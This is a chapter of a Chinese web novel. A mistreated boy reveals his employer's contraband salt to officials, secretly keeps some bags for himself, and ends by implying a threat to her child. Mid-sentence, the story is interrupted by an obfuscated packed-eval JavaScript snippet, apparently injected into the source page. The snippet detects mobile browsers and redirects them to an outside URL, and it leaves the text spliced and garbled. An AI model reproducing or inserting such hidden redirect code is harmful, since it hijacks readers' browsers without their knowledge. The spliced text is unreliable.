第274章 私盐
作品:《穿成老妇?荒山野菜嘎嘎挖!》 “那柜子后面!有……有盐!
好多袋!我……我就是不小心看见了,她才把我关起来,天天打我,不给我饭吃!怕我说出去!”
“有盐”二字,如同惊雷炸响在这小小的成衣铺里!
贩卖私盐,乃是重罪!
远比苛待学徒,甚至拐带人口要严重得多!
“什么?!”领头的官差瞳孔骤缩,厉声喝道,“拦住她!搜!”
掌柜的闻言,魂飞魄散,下意识就想往后院跑,却被两名眼疾手快的官差当场扭住胳膊,按倒在地。
她发出杀猪般的嚎叫和咒骂,却再也无人理会。
另一名官差迅速冲向那旧木柜,用力掀开破席子,挪开柜子。
后面赫然藏着七八个鼓鼓囊,用厚麻布紧紧扎口的口袋!
官差用刀尖小心划开一个口子,有些发黄的盐粒立刻簌簌流出。
这不是盐是什么!
卖盐的铺子有规定,一个人能买到的盐,一年都不会超过一大袋。
但现在这里的盐居然有七八袋!
怎么可能是买回来吃的盐?
既然不可能,那就是私盐!
证据确凿!
领头的官差脸色铁青,看了一眼那因揭露惊天秘密后又软软瘫倒在地的男孩,沉声道:
“全部带走!人犯、赃物、还有这孩子,一并押回衙门!即刻禀报李大人!”
沈虎子看着朝自己走来的官差,一边咳嗽一边开口。
“能让我进去换一件衣裳吗?”
领头的官差瞧见被冻得哆哆嗦嗦的沈虎子,大手一挥,“赶紧去换吧!”
“谢谢。”
沈虎子看了一眼正在搬盐袋的官差,慢慢挪回后院的小房间里。
进门之后,沈虎子没有第一时间换衣服。
沈虎子挪进那间阴暗潮湿,仅容一床破草席和几捆旧布料的小屋,反手就用颤抖的手抵住了门。
他胸腔里火烧火燎地疼,每一次呼吸都带着血腥味,可那双深陷的眼睛里却闪着孤狼般狠戾而清醒的光。
他根本没去碰那堆破布下的几件烂衣服,而是踉跄着扑向靠墙的角落。
那里看似与其他斑驳的墙面无异,但仔细看,靠近地面的几块砖缝颜色略新。
他忍着剧痛,跪倒在地,用满是血污的手指,死死抠进一道几乎看不见的缝隙,猛地一撬!
一块砖头竟被他硬生生掰了下来,露出后面一个黑黢黢的洞口。
这洞挖得巧妙,就在墙体本身的结构凹陷处,外面再用薄薄一层灰浆和松动的砖块虚掩,不仔细敲打探查,根本发现不了。
这是他过去半个月,趁着夜深人静,胖掌柜熟睡的时候,用偷藏的小锄头,一点一点掏出来的洞!
他喘着粗气,迅速从墙角那堆看似杂乱的破布里,拖出三个比外面盐袋小一,但同样结实的麻布包。
沈虎子之前来这家店铺,确实是为了打杂,赚点钱。
但来了之后,他发现这里的掌柜极其刻薄,并且知道他是栖流所来的之后,变本加厉。
在第一次被打的时候,沈虎子就起了毒死掌柜独占这家店的心思。
反正这家店的掌柜是个寡妇,只带着一个五岁大的痴儿,很好处理。
但沈虎子撞破掌柜买私盐之后,心里就起了别的主意。
他这才忍耐着掌柜的刻薄,留了下来。
每一袋盐都有十来斤重,对于一个长期吃不饱饭的少年来说,搬运它们几乎耗尽了他最后的力气。
“快点!磨蹭什么呢!”
外面传来官差不耐烦的催促和掌柜杀猪般的哭嚎。
沈虎子浑身一激灵,动作却诡异地稳了下来。
他将三个小盐袋一股脑塞进墙洞,大小刚好填满。
然后抓起地上和着墙灰的湿泥,飞快地涂抹在洞口边缘,将那块撬下的砖重新按回原处,用力压实。
接着,他从草席下摸出半块破瓦片,将边缘多余的湿泥刮平,再抓了把地上的浮土,均匀地撒在修补过的地方。
短短几十息,墙壁恢复了原样,只是那片区域比其他地方略显潮湿。
沈虎子知道,等泥干了,颜色便会浑然一体。
他迅速将地上痕迹扫乱,又将那几捆厚重的旧布料拖过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930708|182632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,看似随意地堆在墙角,恰好遮住了那片新补的墙面。
“好了没有!再不出来踹门了!”
官差的声音已到了门外。
沈虎子这才抓起一件最厚实的破夹袄套在身上,又胡乱擦了把脸,深吸一口气,拉开了门,脸上恢复了那种麻木畏缩的神情。
一名官差探头进来,锐利的目光扫视着这个一目了然的简陋屋子。
一张烂草席,几捆破布,空无一物。
他走上前,用刀鞘拨弄了几下那堆旧布料,布料沉重地散开,露出后面潮湿但并无异样的墙角。
他又踢了踢草席下面,空空如也。
“头儿,看过了,就一堆破烂,没别的。”
官差回头喊道。
领头的官差在外面应了一声。
“行了,赶紧带走!李大人还等着问话!”
沈虎子低着头,被官差带出房间,经过面如死灰的胖掌柜身边时。
没人看见他低垂的眼帘下,闪过一丝冰冷快意的光芒。
沈虎子是揭发人,带到衙门里,也不过是为了方便作证,并没有为难他。
李肃瞧见沈虎子尚且年幼,身体又瘦削,允许他不用跪着,站在一旁即可。
庭审结束得很快。
私盐铁证如山,胖掌柜的哭嚎撒泼在惊堂木下化作筛糠般的颤抖。
她对自己私藏盐货、苛虐学徒的罪行供认不讳,画押时手指抖得几乎碰不到纸。
沈虎子作为苦主与揭发者,证词清晰,加上那骇人的伤痕,无人质疑。
李肃当堂判决。
掌柜收押,听候发落,涉案盐货悉数充公,念沈虎子揭发有功,赏钱五百文。
沉甸甸的铜钱用粗布串着,递到沈虎子手中。
他低着头,毕恭毕敬接过,手指触碰钱币的冰凉,心底却有一簇火在烧。
衙役们上前,要给胖掌柜套上枷锁。
就在她即将被拖出大堂,眼神涣散之际,沈虎子忽然往前蹭了两步,靠近她,用只有两人能听到的声音,低低开口:
“掌柜的,你的宝儿……还在后院屋里吧?”

